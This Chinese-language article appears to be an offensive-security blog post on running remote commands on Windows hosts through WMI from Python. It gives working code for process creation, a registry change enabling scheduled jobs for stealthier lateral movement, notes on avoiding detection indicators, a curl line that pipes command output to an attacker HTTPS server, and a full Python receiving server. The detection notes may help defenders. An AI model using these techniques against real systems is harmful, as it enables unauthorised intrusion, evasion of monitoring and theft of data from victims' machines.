介绍

在本文中,我们将介绍一个使用 Windows 管理规范 (WMI) 远程控制目标计算机的 Python 脚本。该脚本利用 COM 与 WMI 基础架构进行通信并执行管理任务。

使用不同的类,我们将探索执行 shell 命令的不同方法,并观察每种方法在后台的工作方式以及它们在事件查看器中的外观。本文中使用的所有脚本都发布在我们的Github 存储库中。

Win32_Process 类概述

Win32_Process WMI类表示操作系统上的进程。这是通过 WMI 执行 shell 命令的最直接方法。

该脚本首先导入WMI 模块,该模块提供了与 WMI 服务交互的 Python 接口。

利用提供的身份验证详细信息(用户名和密码)与指定的目标计算机建立 WMI 连接。

c = wmi.WMI(computer=target_computer, user=username, password=password)

为了执行命令,脚本利用了Win32_ProcessWMI 提供的类。Create调用此类的方法,并将CommandLine参数设置为所需的命令。

process_id, result = c.Win32_Process.Create(CommandLine="cmd /c whoami")

Impacket 版本的Wmiexec使用此类;但是,几篇文章指出,涉及父进程(称为WMIPRVSE.EXE. )及其子进程CMD.EXE或 的进程关系POWERSHELL.EXE是一个危险信号。为了避免这种行为,我们将使用另一个类,如下所述。

如果你查看事件查看器,就会发现一个 ID 为 4688 的事件。分析此事件将会揭示执行的命令:

显示已执行命令的事件 4688

Win32_ScheduledJob 类概述

通过 ScheduledJob 来执行代码可能是一种更好的方法,因为它不依赖端口 139 和 445(某些防病毒软件会严格监控这些端口)。相反,它放弃了 SMB 连接功能,转而使用Win32_ScheduledJob类来执行命令。

值得注意的是,此类在 NT6 下的 Windows 版本(Windows Server 2003 及更早版本)上默认有效。这是因为应创建以下注册表:

Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration Name: EnableAt Type: REG_DWORDValue: 1

幸运的是,WMI 提供了一个用于StdRegProv与 Windows 注册表交互的类。有了它,我们可以做很多事情——包括检索、创建、删除和修改键和值。我们可以使用以下代码来创建所需的注册表项:

_ = registry.SetDWORDValue(                hDefKey=0x80000002, # HKEY_LOCAL_MACHINE                sSubKeyName=r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration",                sValueName="EnableAt",                uValue=1            )

执行完成后我们可以看到新创建的注册表:

注册表“EnableAt”已创建

现在我们可以继续创建计划任务。以下脚本计算计划作业的开始时间,该时间设置为从当前时间开始的一分钟。

change_date_time = datetime.datetime.now() + datetime.timedelta(minutes=1)begin_time = change_date_time.strftime('%Y%m%d%H%M%S.000000+100')

然后,脚本利用该类Win32_ScheduledJob创建一个计划作业,指定要执行的命令和开始时间。

job_id, result = c.Win32_ScheduledJob.Create(Command=“cmd /c ipconfig”, StartTime=begin_time)

Win32_ScheduledJob 限制

虽然这种技术可能更好、更隐蔽,但攻击者可能需要重新启动目标机器才能使设置生效(应用更改的注册表)。

由于Win32_ScheduledJob基于NetScheduleJobGetInfo Win32 API(自 Windows 8 起不再可用),因此您不能将此类与任务计划程序结合使用。

泄露数据

WMI 在解析命令输出方面存在局限性,因为没有 Microsoft 支持的方法来接收数据,因此攻击者必须找到解决此问题的方法。大多数开源项目使用的最流行的泄露技术是将命令的输出重定向到远程主机本地 ADMIN$ 共享上的文本文件中。一个很好的例子是 impacket 的代码。

但是,在 ADMIN$ 共享上生成随机命名的文本文件非常可疑。一个好的简单解决方案是将输出通过管道传输到 HTTPS 服务器上。这样,我们就可以避免写入磁盘,并在加密的 HTTP 服务器中安全地传输数据。这可以通过执行以下命令来实现:

cmd /Q /c <my command> | curl -X POST -k -H 'Content-Type: text/plain' --data-binary @- https://myhttpserver

使用一个简单的 Python 脚本来创建一个支持 SSL 的 HTTP 服务器:


import ssl
from http.server import HTTPServer, BaseHTTPRequestHandler

class RequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)

        # Decode the received data
        received_data = post_data.decode('utf-8')

        # Process the received data as needed
        print(f'[+] Received data:\n{received_data}')

        # Send a response back to the client
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        response_message = 'Data received successfully'
        self.wfile.write(response_message.encode('utf-8'))

def run_server():
    host = '0.0.0.0'
    port = 8080
    server_address = (host, port)

    # Create an SSL context
    ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    ssl_context.load_cert_chain(certfile='server.crt', keyfile='server.key')

    # Create the HTTPS server with the SSL context
    httpd = HTTPServer(server_address, RequestHandler)
    httpd.socket = ssl_context.wrap_socket(httpd.socket, server_side=True)

    print(f'Starting HTTPS server on {host}:{port}...')
    httpd.serve_forever()

if __name__ == '__main__':
    run_server()

结论

Win32_ScheduledJob是一种更好、更隐蔽的向目标进行横向移动的方法;但是,修改注册表确实需要目标重新启动机器。此外,Windows 版本必须是 Windows 8 或更低版本(根据 Microsoft 的说法)。

另一方面,Win32_Process开箱即用。但是,正如文章中已经讨论过的,这种方法会导致 IOC,例如CMD.EXE作为WMIPRVSE.EXE

本文中使用的所有脚本均发布在我们的Github 存储库中。

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。